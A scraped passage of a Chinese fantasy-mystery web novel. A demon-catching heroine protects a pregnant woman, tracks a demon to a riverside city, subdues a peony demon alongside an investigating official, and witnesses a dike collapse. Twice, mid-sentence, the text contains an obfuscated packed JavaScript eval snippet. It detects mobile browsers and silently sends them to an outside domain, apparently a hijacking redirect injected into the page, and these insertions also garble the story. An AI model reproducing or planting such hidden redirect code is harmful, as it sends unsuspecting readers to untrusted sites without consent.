邢娘子只觉脊背一阵凉气袭来,随即被面前金光晃得睁不开眼。她不禁伸手挡住金光,阿婵见到她身后的黑影被金光逼退。 但金光过后,那片黑影竟不死心一般,立刻妄图再次朝邢娘子的腹部扑过去。 一切不过电光石火之间。 “啊——”邢娘子惊觉一阵力道将她往后扯,她站立不稳就要向后摔去,惊呼起来。 “不识好歹!”阿婵眼中发狠,一边奔到邢娘子身边轻轻托住她的背,一边放出绝煞诛邪符。 对于这种一而再再而三害人之心不死的妖孽,阿婵向来不手软。既然普通的镇煞符治不了你,那就让你尝尝绝煞诛邪符的滋味。 黑影瞬间像被无数把金色利刃从四面八方穿心而过,瞬间消失得干干净净,似从未在这世间存在过一般。 “这是这么了?我刚才明明好好站着,怎么突然就要摔倒?还好你扶住我。”邢娘子心有余悸。 听到这边的动静,本不想打扰她们说体己话的木匠也跑过来。 “没事吧。”阿婵看着邢娘子的孕肚问,提起手腕替她把脉。 “没什么,只是感觉后背有点凉。到底怎么了?” “最近你们有去墓地灵堂等阴气旺盛的地方吗?” “不曾去过。她怀着孩子,怎么敢让她去那种地方呢?我也都不敢接这样的活计。”邢木匠说道。 那便奇怪了,阿婵日常在村中游走,不曾见过这种黑影煞气。邢娘子夫妻不是体弱之人,应该不会随便招惹这种东西。 但若没有去过阴煞之地,黑影又是从哪里来的呢?这明摆着是冲她腹中胎儿去的。 邢娘子看她的表情,隐隐不安,“是不是又有什么精怪要伤害我腹中孩儿?” 阿婵心生疑窦,但黑影煞气的来历暂时她还看不透,跟邢娘子夫妻多说也是徒增烦恼。 见邢娘子满脸焦虑,她将一道护身符放在邢娘子掌心: “这符你贴身带着,可保母子平安。放心吧,那东西已经被我彻底除掉了,六道轮回都入不了,不会再来害你。” 她转而对木匠说:“赶紧带她回家休息,然后你马上找村医开点安胎药。明早起程之前等着我,我去送你们,顺便再给你们些护身的东西。” 夫妻二人也生怕对孩子有什么影响,连连称是,匆忙回家去了。 *** 阿婵立刻回到村屋,翻看起她的天象记录簿。 一一看过前几个月的记录,二月十八日这一天,她写下了“月晕围胃”四个字。 她还记得那夜天晴,空中可见白虎七宿熠熠生辉。 月亮与胃宿在夜空相逢,一圈淡淡的光晕如同轻纱环在月周,那是月晕萦绕在胃宿的位置。 这就是所谓的“月晕围胃”天象。 她记得《桓阙占经》有云:“月晕围胃,兵大战;一曰妊女多死。三月内见。” 最近没听说大桓发生重大兵乱,那就是……她的指腹在记录簿“妊女多死”几个字处来回摩挲,喃喃道:“但不该在此时此地啊......” 想不通,反正天快亮了,她索性在案几前画起符来。 一是给邢娘子和孩子保平安,二是这黑影煞气来得不寻常,很少有精怪在她手下吃了亏,还会再那样不要命地扑上去害人,她隐约感觉会有什么事发生。 虽然目前还不知道是什么,但多制些不同种类的符以备不时之需,总是好的。 天亮之后,阿婵便去找县令,让他慢慢赶路,否则邢娘子吃不消。 “阿婵姑娘请放心,本官心里有数。” 薛县令对她的捉妖能力不敢小觑,且看霍彦先对她态度也很不错,因此这点要求自然是满口答应。 起程前,阿婵又拿出护身符、护心镜,让邢娘子贴身带着备用。 “二月时我观天象‘月晕围胃’,指示孕妇会有灾祸,但其实并不在东南方向。虽然目前还不知道昨晚的黑影是否和此次天象有关联,但你也要多加小心。 我昨晚赶制了一些护身符,应该够用到你生产之后,还有一些是给孩子的。 到呈溪县衙之后,若有什么问题,就送信到当地最大的客栈蓬莱春,把我这个私人印信给掌柜的看,很快我就能收到信,但记得要保密。” 邢娘子和木匠接过阿婵的印信,是个小巧玲珑的木蝉。二人十分感激,话语间满是对她的不舍。 怕邢娘子分别时情绪太过激动,阿婵推说自己昨晚捉妖的事情还没处理完,就赶紧离开了。 *** 阿婵走到祠堂附近的一棵百年老树边,两人合抱的粗壮树干上,深深嵌着一道黄.色符箓,正是昨晚她发出去追踪焰炁饕妖的那道。 头疼啊,这小东西真是令人头疼。 阿婵真想把昨晚横插一脚的黑影煞气全部塞进焰炁饕妖嘴里,让它吃个够! 气归气,但没办法,还得继续追踪。 目前仙昙村这里不会再有盛大规模的祭典,而昨晚她和焰炁饕妖的正面冲突已经惊动了它。 以它的性格,势必不会再留在村里,已经耽搁了很久,她必须要尽快继续追踪。 她将村里找了个遍,果然没有收获,最后找到了河边,丢个石头把胖头小鱼妖唤出来,问它是否知道焰炁饕妖的去向。 “好像是渡河往荔南方向去了。” 小鱼妖看着阿婵手里被啃食过的祠堂香烛,用妖力感应了一会儿回答道。 荔南? 阿婵一愣。 *** “飞龙在天。” 五月初, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14931440|160662||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 当苍龙七宿游走到天空正南方位之时,阿婵终于踏上了荔南府的地界。 今日难得不下雨,初昏时分,阿婵看到七颗星宿,静静悬挂在夜空“正中”。 它们便是二十八星宿中的苍龙七宿——角,亢,氐,房,心,尾,箕。 所谓“飞龙在天”,是《易经·乾卦》中的一句爻辞,“飞龙”指的就是这苍龙七宿。 飞龙在天,掌管行云布雨之事,这个时节雨量特别充沛。 由于时近端午,龙舟竞渡,因此连日降雨在荔南一带又被称为“龙舟水”。 如果雨量特别大,持续时间又长,就很容易出现水患。 阿婵心中记挂着之前跟霍彦先说的水患卜辞,但到了这里一路看下来,似乎没有发生。 终于进入富州城。大桓在荔南府设置富州都督府,统领荔南诸州。 富州城很是繁华,城中的百姓都沉浸在迎接端午的氛围之中。 随处可见家家户户门口挂着艾叶、菖蒲,妇女们带着孩子,坐在门口院中包肉粽,孩子们的脖颈、手腕上还佩戴着辟邪的五彩丝线。 还有摆在屋外的雄黄酒,想必是白天拿出来,在太阳下曝晒未收回去的,准备晒到五月初五端午当日饮用。 街道临着荔南江,自西向东流淌的江上停放着很多漆色艳丽的龙舟,伴着激昂的鼓声,赤膊的汉子们正在集结上船。 为生计奔忙了一日,此刻终于能抽出时间来练习划龙舟,人人摩拳擦掌,斗志昂扬。 一派其乐融融的繁忙景象。 江上横着一条土龙般的巨大堤坝,看着很夯实,周围有官兵巡逻,其下有龙舟正在调头返航。 想来,霍彦先应该已经告知当地府衙提前预防水患之事,阿婵心下稍感安慰。 再往前走,江水和堤坝交汇的东南角,伫立着一座佛塔——当地最负盛名的“富安塔”。 此地三江交会、两岸无高山,高耸的富安塔补足了东水口空虚、灵气不属、生气外泄的风水格局,使整座富州城神完气足。 塔前有众多傍晚前来烧香祈福未归家的百姓。香火袅袅飘向江面,明明没有江雾,缥缈的烟火却让江面蒙上了一层白纱。 好旺盛的香火!不愧是荔南! 阿婵默默感叹着,同时立刻观察着塔身,在心中盘算起方位。 这旺盛的香火够焰炁饕妖流连很久,这次她一定得找个好位置伏击,千万不能再让这家伙溜掉了。 她走到佛塔附近,却看见百姓手中拿着的祭祀物品,似乎和端午祈福无关,不禁感到奇怪。 “请问这位伯伯,你们是来为端午祈福的吗?”阿婵拦住一个头发花白,脊背佝偻的老翁问道。 “哎呀,小娘子一看你就是外乡人,初来乍到,还没听说过‘江伥索命’的事吧。” “是的,我今天刚到这里,江伥索命是什么呀?听起来怪怕人的。”阿婵故作害怕的样子问。 “我们这里连续四天都有人掉到江里淹死了,第一天说是一对年轻夫妻渡江溺亡,大家以为是意外,结果没想到后来每天夜里都有人掉到江中淹死。 有传闻说,是江中伥鬼拉活人当替身,好让自己投胎。大家这是怕江伥盯上自己,都来这里烧香拜佛,祈求神明护佑呢。老朽劝你一个人不要晚上去江边,容易出事!” 14. 江伥索命 “大家怎么知道是江伥索命呀,也许就是意外呢?” 老翁看着阿婵一副天真懵懂的样子,低声神秘道: “这你就不懂了,凡是江伥索命,尸体脖子上都有青黑色的痕迹,就好像一条细长的丝带环绕在脖子上。都说那是江伥把人的魂魄勾走时留下的印记。” “这么说,您是亲眼看见捞上来的尸体长什么样子了?”阿婵眨眨眼睛。 “哎呀,这哪里敢看呀,都是听人说的!现在可不敢去江边了。” “但是您看,江边不是还有不少人呢么?”阿婵指着江边正在走动的人影问道。 “那些不是普通人,是三皇子煜王殿下派人在堤坝巡逻呢。”老翁说。 “就是为了江伥索命的事吗?” “一半是因为江伥索命,一半是因为煜王殿下仁爱百姓,怕连日降水闹水患,叫官府提前加固了堤坝,并且日夜派人巡逻。” 老翁说完,抬头看看天色,急道:“这天都快黑透了,龙舟也都不敢往堤坝那边去,正调头回来呢,小娘子你赶紧回住处吧,本来临近端午就有五毒作恶,现下又出来个江伥,真是愁人呐!” 老翁说着,就匆匆回家去了。 阿婵冲着他的背影道了声谢,又问了几个当地人,都是一样的说辞——江伥索命。 她躲在角落,看着前来拜佛的百姓渐渐散去,陷入沉思。 江伥作怪,一般痕迹只会出现在脚腕手腕上,刚才老翁所说的尸体表征,似乎不像是江伥所为。 但如果不是,要么就是人为,要么就是有其它妖怪作乱。 看来此行除了焰炁饕妖,还得去打听打听江伥和其他妖怪的行迹,看看有没有不寻常。 *** 富州都督府三条街以外的一处茶商商会,大门紧闭,杨奉安敲了敲门,铺面开了道门缝,他侧身进去,几重院落的内里布置却和商会毫无干系。 这是绣衣察事司在富州城的据点,平日伪装成茶商商会。 杨奉安穿过门廊、正厅、头房,打开天井角落的机关,墙边出现了一道隐秘的门。 进入密室,他看到霍彦先正在烛火之下查看密报,打了声招呼:“大人,我回来了”。 霍彦先闻声抬头,问道:“溺水的尸体打捞上来了吗?” “没有,还在派人打捞,但连日下雨,江水涨了不少,流速很急,尸体很可能被冲走,找回的希望不大。”杨奉安回禀。 霍彦先略作思索:“你去查查江伥索命的传闻源头是哪里,尸体还没找到,却把尸体表征描述得有模有样,明显是别有用心。” 杨奉安点头称是,霍彦先接着问道:“谭胥生那边进展如何?” “据湖襄一带的绣衣行走和暗侯查探,那个谭胥生说自己从湖州来此行商,主营丝绸,但当地以及周边并没有他的活动行迹。 我们核查户籍,发现他老家当地唯一一个叫谭胥生的已登记死亡。为了确认,我又核查了湖襄周围所有叫谭胥生的户籍,没有一个能对得上他的身份,所以这个人应该确是冒名顶替的。”杨奉安汇报。 “之前让你找人办的假丝绸商贸集会,他出现了吗?”霍彦先问道。 “全程没出现,连他的副手也没有。按理说一个丝绸商人,如果本地有行业大会,肯定不会放过这个机会,但他那天却跑去见了富州都督冯鹤延,说听闻煜王殿下要加固堤坝,想为其捐资助力。” “现在捐资款项入账了吗?” “都督府内暗侯报称,有这笔捐资名目,但捐资款项数额变小,对不上。三个经手人在府内职级均比较低,他们本应接触不到这项事务。” 霍彦先看着摆在案头的一叠叠密报,条分缕析: “已经过去快七八天了,行业大会不出席,安插在市集、商铺、驿站、码头、仓库的暗侯和行走,也都称每天难得一见他的身影,就算出现也只短暂停留,这么做生意不会倒闭吗?反倒日常出没于矿山、堤坝、水域、粮仓、医馆、城门、寺庙之间。” 烛火跳动,在霍彦先脸上投下半明半暗的光影,他的脸色晦暗不明。 “他放的信鸽呢,拦截到了么?”霍彦先继续问杨奉安。 杨奉安点点头:“拦截了,飞行路线很偏僻,途经的都不是寻常丝绸行商聚集的大城镇,每个中转驿站几乎都设在人烟稀少的村落。 我们找到肃州府北部山区的一个中转驿站,虽然拦截下信鸽查看的内容只是寻常商贸信息,但我们推测可能是暗语。 而且经过当地暗侯严密排查,发现这个驿站的极少数信鸽,会越过堑金山,飞到朔勒去。如果不是您提醒我们特别留意观察,可能还发现不了。” 朔勒!大桓周围最不安分的国家,实力不及大桓,却屡屡妄图进犯边境,烧杀抢掠,扰乱民生,大桓百姓深受其害! 矿山、堤坝、水域、粮仓、医馆、城门、寺庙,都是关系到城镇民生安危至关重要的地点。 “发密报,提醒圣人最近要特别注意朔勒动向。”霍彦先吩咐杨奉安,“研究一下是否有暗语,到时候咱们也传点假消息过去。” 这个谭胥生,很可能是朔勒的细作。 而捐资名目款项对不上,很可能涉及到荔南府贪墨案。 这也是霍彦先和煜王到荔南府之后一直在调查的案件,最后他们将调查范围锁定在富州都督府。 朔勒和荔南,两个截然不同的方向,细作出现在富州,如果是为朔勒做事,很可能是声东击西之计。 也就是说,最近富州,很可能会出事。 不知道连日的江中溺亡事件是否与此有关。 他忽然想起河边那个明媚的笑容。 “大人日后如果改主意想要往荔南府走,一定要注意,过段时间可能会有水患,望大人平安。” 阿婵这样对他说过。 水患吗? 但他已经借司辰局之口提醒了煜王,让荔南全境加固了河堤,尤其是富州,这里人口密集,如果发生水患,这里造成的伤害会是最大的。 因此煜王让富州都督府日夜派人巡逻,而且霍彦先也亲自看过,就算是龙舟水再大一些,应该也不会出现水患。 就溺亡案目前掌握的线索看来,也与水患无关。 但如果不是水患,会是什么呢 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14931441|160662||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ? 他心头再次浮现那张明丽的脸庞,他不愿意做出这个假设,但他的职业习惯让他情不自禁提出质疑——阿婵和朔勒,会有什么关系吗? 她并不像那种人,和她一起在仙昙村查案捉妖时,他有感觉,她看上去不着调,却有自己的原则。 但关系到家国百姓,他也不能放过任何一丝怀疑。 一时间,千头万绪袭上心头,他伸手揉了揉眉心。 杨奉安见上司一脸苦大仇深,不由得提醒:“大人,要不今夜您休息一下,从桓安到富州,您日夜赶路,加之中途在仙昙村处理案子,一直没有好好休息过。到了富州也忙于处理各种密报信息,没怎么合过眼,铁打的人也受不了啊。今夜有我们盯着呢,您不用担心。” 可是怎么能不担心。 霍彦先摇摇头,又回去翻起密报,问他:“赶紧去查探一下谭胥生今夜的行迹,我倒要看看他还想干什么。” “是。”预料之中的答案,杨奉安只好应了,耸耸肩往外走。 *** 阿婵躲在她精心挑选的富安塔隐蔽处,等待焰炁饕妖出现。 天色已完全暗了下来,佛塔周围只有沙弥偶尔走动,以及富安寺中挂单夜宿的香客,会在夜间上塔观景。 但她忽然注意到一个男子,身着蓝袍,步履匆匆。借着月光细看,不过是个普通人。 但不寻常的是,他的身后,坠着一道纤细的身影,走路轻飘飘的,自带一股花香之气。不,是妖气。 阿婵立马闭上眼睛,心中默念,抓焰炁饕妖要紧,抓焰炁饕妖要紧!不要多管闲事!不要多管闲事! 片刻后,她蓦地睁开眼,瞟了下佛塔,见没有动静,放弃挣.扎一般,不情不愿地挪动身子,追着花香细影而去。 救人一命胜造七级浮屠!救人一命胜造七级浮屠! 阿婵咬牙切齿地在心中默念! *** 霍彦先一身暗黑束袖衣袍,行走在暗巷,有片乌云飘过来遮了月光,他便与黑夜融为一体。 他疾步朝佛塔走去。刚收到杨奉安的消息,谭胥生今夜会前往富安塔,不知道会搞什么猫腻。 不多时,已经找到了目标。 谭胥生身材瘦高,面容白净,若不是一袭暗蓝色绣金丝绸袍衫,彰显他华丽富贵的行商身份,看上去倒更像个文人。 霍彦先悄悄跟在后面。浑然不觉一道纤细的身影看到他之后,明显脚步一滞。 *** 牡丹花妖自成了精、能脱离花圃自由行动之后,整日热衷于在坊间观赏撩拨俊俏郎君。 但后来她发现,身材高大的,往往相貌一般;相貌好看的,往往五短身材。 很少有像眼前这位一般,形貌皆昳丽,甚至比她的林郎更胜一筹。 他似一把出鞘的刀,眉眼轮廓每一处都打磨得恰到好处,精致又锋利,身形高大挺拔,却不粗莽,自带冷峻又危险的气场,让人害怕却又情不自禁想要靠近,对她有着致命的吸引力! 如此一副好皮囊,再加上至阳至纯之气,大补! 牡丹花妖一时激动得花瓣乱飘。 15. 牡丹花妖 在见到霍彦先的一刹那,牡丹花妖觉得自己以前见过的那些文人墨客、武功高手,全变成了念酸诗的书呆子、五.大三粗的莽夫! 甚至将今天本想撩拨的蓝袍男子,也给忘得干干净净。 哪怕是林郎,她也在心中默念抱歉抱歉,先让个位置,因为—— 这这这!真乃人间极品呐! 牡丹花妖平常吸人精气,还是挺有原则的,要么就挑丧尽天良的坏蛋,为天道除害;要么就挑与她你情我愿的俊俏郎君,缠绵之间给她“承诺”,她才会吸取对方精气,算是公平交易。 今夜出来寻觅目标,眼前这位郎君,她一见倾心,霎时间便也顾不上什么好人坏人,什么你情我愿,就只想生扑! 绝对不能错过! 她伸出细细的红指甲,搭上霍彦先肩头,心情激动,可没等她有下一步动作,背后有人揪着她的头发一把将她扯过去。 她险些疼出眼泪来。 “色令智昏!要不得!要不得!”牡丹花妖听得身后传来一声感慨。 阿婵薅住牡丹花妖的头发,双手直冲她双目戳去:“我看这双招子不如废了吧,反正今天看够了,以后也就不用看其他人喽!” 牡丹花妖一怒之下便想动用妖力反击,却发现竟被眼前这个女子压制得死死的。 没想到她身形看着比自己还要瘦弱,居然有这么高深的道行! 霍彦先一路都闻到花香,看了看道路两侧,也不知哪来的,感觉有点奇怪。 忽觉肩头一沉,花香更盛,便听到动静,回过头来。 他怀疑自己出现了幻觉。 月光下,花瓣纷飞,阿婵竟薅着一个打扮得花枝招展的女子的头发,要戳其双目! 可他分明没察觉到周围有人,这个妖艳女子到底从哪里冒出来的?阿婵又是哪里冒出来的? 他感到自己擅长的巡哨伏路术受到了极大的挑战! “霍大人,像你这般俊俏的郎君,出门在外,可要保护好自己呀!被牡丹花妖吸了精气,调理起来可要耽误不少事呢。”阿婵调侃道。 “......”霍彦先长这么大,从来都是别人遇见他要考虑自身安危,还没遇到过这种事情。 阿婵看他扭曲的表情,憋笑道:“哎呀大人别不信,如今世风日下,只要是好看的人,不管是娘子还是郎君,都要保护好自己。色中妖鬼,可不少呢!” 谭胥生转过身,看不远处两女一男在纠缠。 乌云遮月,光线昏暗,看不太清。但似乎是一个女子揪着另外一个女子的头发,他心想八成是男人夜会情.人被正室抓包,也没往心里去,继续前行。 霍彦先看到谭胥生似乎并没有察觉到不对,但他也不能在此再耽搁下去,便对阿婵说: “你救了我,我很是感激,但现在我还有要事得先走一步,回头再专程感谢你。” 他迈步就走,竟一个趔趄差点摔倒。阿婵赶紧放开牡丹花妖,扶住他。 “怎会如此......”霍彦先从没感觉自己腿脚如此沉重,他调动内力,竟发觉内息都乱了。 “知道这花妖的厉害了吧,她可比胖头小鱼妖强多了。要不是我及时出现,你就惨啦!”阿婵道。 牡丹花妖趁二人说话时想跑,阿婵一个眼刀过来,她竟半分动弹不得,没想到对方的威压竟厉害如斯,花妖瞬间垮了脸。 “霍大人,被妖力侵袭不是闹着玩的,你需要些时间恢复呢。” 阿婵给他身上贴了一道黄.色符箓,瞬间霍彦先觉得滞涩的内息变得顺畅起来。 “放开我!”牡丹花妖委屈巴巴,“我没有做过坏事,你法力高强,应该能看出来!” 阿婵打量着她。牡丹花妖身上虽有妖气,有人命官司,却没有恶因恶果缠身。 也就是说,她背负的人命都是恶人,除此之外,只是风.流得有点过了头,倒不算太十恶不赦。 但她奇怪道:“瞧你不像道行这么浅的精怪,怎么,受重伤了?所以急着吸人精.气弥补修为?” “我不过是觉得他长得好看,一时昏了头。再说了,男人嘛,玩玩嘛,我又不要他的命。他那么俊俏,我可舍不得。” “......”霍彦先不是没见过倾慕自己的女子,但大多内敛羞涩,还是头一次听女子说敢玩自己。 阿婵看霍彦先脸色比墨都黑,强忍住笑,故作严肃道,“他可不是你能玩的男人,玩了要付出代价的。” 牡丹花妖瞥了她一眼,又看看霍彦先,恍然大悟:“他是你男人,怪不得。我不敢了,真的不敢了。” “满口胡言!”霍彦先简直听不下去,气到内息又不顺畅了! 有趣,有趣。看总是一本正经的霍彦先被调.戏,阿婵忽然觉得十分有趣。 她潇洒地拍拍霍彦先的肩膀:“对啊,他是我罩着的人,所以别惹他,听到没。虽然你之前没做过坏事,但你刚才的行为差一点点就要铸成大错,背上因果,毁了修为。” “我知错了,求求你放过我吧。”牡丹花妖可怜兮兮地求饶。 阿婵略一思索,用手结了个印,一道金光结成符咒,没入牡丹花妖体内消失不见。 “我在你体内种下符咒,今日暂时放过你,看你表现。以后我若召唤你,你要随叫随到,听到没。”阿婵对牡丹花妖说。 牡丹花妖打不过阿婵,也只能顺从地缔结契约,连连点头。 阿婵摆摆手让她赶紧消失。 只剩下霍、婵二人。 月色渐浓,二人静默,只有夏夜虫鸣。 半晌,阿婵关心道:“大人,可觉内息恢复了?” 霍彦先试了一下,感觉通体舒畅许多:“嗯,感觉差不多了,你这符箓还挺好用的。” 阿婵立即笑眯眯伸出手:“那当然,知道您贵人事忙,给您用的是最上乘的玄灵归元符,可以加快恢复进程。当然啦,价钱也是上乘的。十五两,包符到患除的。” “应该的,多谢你。”霍彦先掏出银子,放在她掌心。 阿婵麻利地塞进随身背囊里,又伸出手,眼睛亮晶晶地看着他:“大人,除妖是另外的价钱,看在咱们相熟的份上,给你打个折,五十两!” 霍彦先十分无语,阿婵狮子大开口的笑容过于晃眼,摆明了逮着他薅。 他愿意付钱不代表就该做冤大头,脑中一时间竟划过“是时候去打听一下除妖的价格行情,下次再见也要压一压她嚣张气焰”的幼稚荒谬念头。 但也不过一瞬,估计是今晚损了气血才胡思乱想,他即可恢复 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“怎么会这样!”阿婵震惊,转头问霍彦先:“你们不是加固了堤坝吗?怎么还会决堤!” “不知道,我亲自去查看过堤坝加固工程,没有任何问题!” 霍彦先也十分震惊,他们自来到富州城就一直马不停蹄加固堤坝,怎么会发生这种事情。 急流奔涌,堤坝上巡逻人员被瞬间卷入江水之中,来不及呼救。 堤坝的缺口随着不断涌入的江水,被撕开得越来越大,甚至江边佛塔也受到威胁。 滚滚洪流遇到孤独伫立的富安塔,发出被阻挡的不悦怒吼,格外凶悍地撞击着塔身。 巨浪飞溅,佛塔已有几百年历史,古老的木质塔身禁不住如此猛烈的冲击,开始倾斜。 香客们夜登佛塔,本为静心凝神,念经祈福,此时却和塔身一样摇摇欲坠,除了隆隆水声,还听到了木质塔身吱呀作响的悲鸣。 “塔上还有人!” 阿婵和霍彦先同时冲向佛塔,却看到塔身渐渐无力支撑,开始大幅度地向下倒。 此时月光明澈,阿婵很清楚地看到塔上的人竭力抓住塔身围栏,却终究脱力,向下坠落。 是个女香客,皎月白的裙摆在空中飘荡,极速坠落,没入江中。 阿婵忽然如遭雷击,眼前的景象和十年前那个纤细坠楼的身影合为一体,她一个踉跄,差点摔倒。 霍彦先及时扶住她,见她面色瞬间血色尽褪,惨白如纸,双眼失神,和刚才的嚣张判若两人,他忙问:“你怎么了?” 阿婵不答。霍彦先的手在她眼前晃了好几下,完全没反应,就差开始摇晃她整个人之时,阿婵失焦的瞳孔终是恢复清明。 下一刻,她突然发了疯似的向女香客坠落的方向奔去。 “喂!你干什么!”见阿婵不对劲,霍彦先赶紧去追。 追至江边,霍彦先一把拦腰抱住不管不顾就往洪水中跳的阿婵,吼道:“不能跳,你疯了!” “我要救她!我要救她!”阿婵剧烈挣.扎着,双眼通红,仿佛失去了理智。 此刻她脑海里只有一个声音不断回响。 阿菀撑住,我来救你! 16. 互相猜忌 一.夜过去,洪水水势渐渐平缓。 堤坝裂口塌陷,佛塔倾倒,沿江两岸的屋宇农田均淹了水,但万幸没有持续性的大雨,因此水位没有持续高涨,水流仅在刚刚决堤之时势头凶猛,后来就渐渐缓和下来。 堤坝也没有再继续陷得更严重。 煜王和都督府连夜全员出动,有余力的百姓也都赶来救援。 由于煜王命令当地官员加固堤坝时,就针对水患提前做了准备,因此救援比较顺利。 人们利用江边船只和龙舟,抛绳撒网,将卷入洪流的人一个个捞上来,伤亡并不是特别大。 “你还好吗?” “没事了,多谢阿婵娘子。” 昨夜阿婵以结绳的龙舟和便于灵活移动的竹竿为支点,在洪水中四处游移,同时甩出山蜘蛛丝,连续从江中“钓”了十几个被洪水冲走的百姓,有点力竭,上岸休息一下。 这十几个人目前还躺在岸边高地上,官府有专人负责临时照料。 其中就有从塔上坠落的女子。 她面色苍白,紧紧地攥着身上裹着的薄毯,指尖因太过用力而发白,身体不由自主地瑟缩颤.抖,额上不断渗出冷汗,眼神中的惊恐还未褪.去,控制不住地回想着坠塔的瞬间。 佛塔倒塌来不及逃脱的惊恐和绝望,高空坠入江面的冲击,反复呛水和水中的无力挣.扎,导致她现在整个人四肢无力、六神无主,任何响动都会让她如同惊弓之鸟。 阿婵在她身边盘腿坐着,拿出一个香囊,放在她鼻尖底下:“安神的,闻一闻会好点。” 女子听话地接过来,阿婵搂着她的肩膀,给她一些安慰。 “怎么会突然这样,明明我上塔是为了祈福,倒差点丢了性命。”女子小声抽噎起来。 之前虽然害怕,但女子知道自己能被救已是幸运,一直故作坚强,此时有了安慰,泪水倒是不受控制地夺眶而出。 阿婵也没办法给出答案,只能摇摇头,默默地陪着她,搂着肩膀的手更用力一点,希望能够传递给她一些力量。 是啊,到底是为什么呢? 明明煜王提前加固了堤坝,霍彦先也说他检查过质量不会出问题。 更重要的是,尽管前面连日降雨,但水位根本没有到达决堤的程度,甚至离得还很远,是什么造成了这次决堤? 这其中一定有人在说谎,或者搞事。 会是谁呢? 心头浮现一连串问题,想不通,头痛。 阿婵甩甩脑袋,强行让自己清醒。一.夜未眠,情绪大幅波动,加上在洪水中连续救人造成的体力透支,让她整个人恍恍惚惚的。 回想自己昨晚的样子,霍彦先一定起了疑心。 在她的计划里,霍彦先并不是个好糊弄的人,她从不会设想自己能在霍彦先面前侥幸蒙混过关。 不过就算他查出有关阿菀的事,计划也还是要进行,无非就是多些阻碍。 十年来,她遇到的阻碍数不胜数,早已习惯,但只要她人还在,无论花费多少时间,总能找到解决的办法,这件事倒也不足为虑。 真正值得焦虑的是,她都已经提前告诉霍彦先会有水患,霍彦先也提前做了准备,如今预言还是应验了,她不禁对霍彦先的能力起了怀疑。 眼前富州城这局面,真耽误她找焰炁饕妖。 正想着,眼前出现沾满了碎石泥浆的靴子。 “基本没事了,剩下的我们和官府会处理,你连着救了那么多人,肯定累坏了,赶紧回去休息吧。” 霍彦先刚从江边救人回来,浑身湿透,脸上身上沾满泥浆石渣水草,模样非常狼狈。 昨夜虽然阿婵的状态不太对,但霍彦先看到她冲进江中救人时倒也游刃有余,不是真的发疯,加之事态紧急,他便也加入救援。 两人不多久便分开,各救各的,一直也没看到对方。 后来煜王、官兵和百姓赶到增援,他忙着调度部署,更是焦头烂额。 此时救援差不多结束,霍彦先一上岸便到处寻找阿婵,实在是昨晚她发疯的样子非常不对劲,但彼时顾不上那么多,现在有空了才有点担心她。 虽然他认为以她蛛丝钓人的实力应该也不会出什么大事,但毕竟是女子......他正想着,便看到阿婵坐在一个女子身边发呆出神,一副失魂状。 阿婵见霍彦先找她说话,回神站起来。 “好,那这位姑娘就拜托大人安排照顾了。” 霍彦先点头:“放心,已经安排好,一会儿便将她先送去临时安置的住处。” 女子也站起身来一通道谢。 阿婵实在乏了,懒得看他们客套,只说了一句:“多谢大人,辛苦了,那我先回了。”头也不回地就走了。 霍彦先见阿婵云淡风轻拍拍屁.股走人的样子,皱起眉头。 阿婵是见了尸体妖怪都面不改色的人,但见此女子坠楼的极端情绪反应却并不符合常理。 她俩看着素不相识,必定有别的缘由,她以前到底经历过什么呢? 他派人查过她,却只查到一个非常正常的捉妖人的行迹,查不出什么所以然。 想不通。 正巧此时又有下属来找他处理受灾百姓安置问题,他只好先将这念头放下,全力救灾。 *** 阿婵一路走回住处,到处都有房屋被淹,忙着收拾残局的受灾人。 或者害怕水患再次发生,连夜卷着铺盖家什向高处转移的百姓。 “哎,本以为煜王来加固了堤坝,今年能平安渡过这段龙舟水,结果没想到还是......唉,全毁了,家里全毁了!” “就是啊,这三皇子看上去爱民如子,说不定背地里也是猫腻一堆......” “嘘,敢这么说你不要命啦!” “也不能全怪煜王殿下吧,明明能做的都做了,也许是江伥作怪毁了堤坝呢?” “不管是什么,最后受苦的还是咱们这些小老百姓啊,我的庄稼全遭殃了!今年怎么过啊,哎......” “别说了别说了,有官兵来了,赶紧走走走......” *** 深夜,富州都督府内依旧灯火通明。 孚正堂之中,清脆而尖锐的碎裂之声传来,所有人的神经都更加紧绷。 一 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他从还未到荔南之时,一收到司辰局的星占水患卜辞提醒,就日夜兼程赶到荔南府富州城。 马不停蹄催促冯鹤延修缮堤坝,做足准备,预防水患,甚至不惜耽误父皇委派他调查贪墨案的进度,生怕水患影响到百姓。 结果呢,他这一番苦心换来的是什么? 江口决堤! 他亲赴水患现场指挥救灾一天一.夜,到现在也没合眼,换来的是什么? 是路上百姓道路以目!只敢在背后说“三皇子加固的堤坝和他这个人一样,是绣花枕头,中看不中用”! 他将一肚子委屈化成怒火全部喷向冯鹤延: “你给本王交代什么!我要你给外面那些百姓一个交代! 本王的脸面可以不要,别人怎么骂我、圣人怎么骂我都无所谓,但你呢,你这身官服、这颗脑袋是不是也不想要了! 百姓称你一声父母官,在你治下年年缴粮缴税,凭什么到头来粮食没了,家没了!命也没了!” 冯鹤延擦了擦额头的汗,小心翼翼地说:“负责堤坝修缮的官员已经全部交由霍大人审讯,但还有一个......” “吞吞吐吐作什么?说!”煜王怒道。 一阵急促的脚步声传来,霍彦先带着一众人员赶来,个个眼下青黑,难掩疲态。 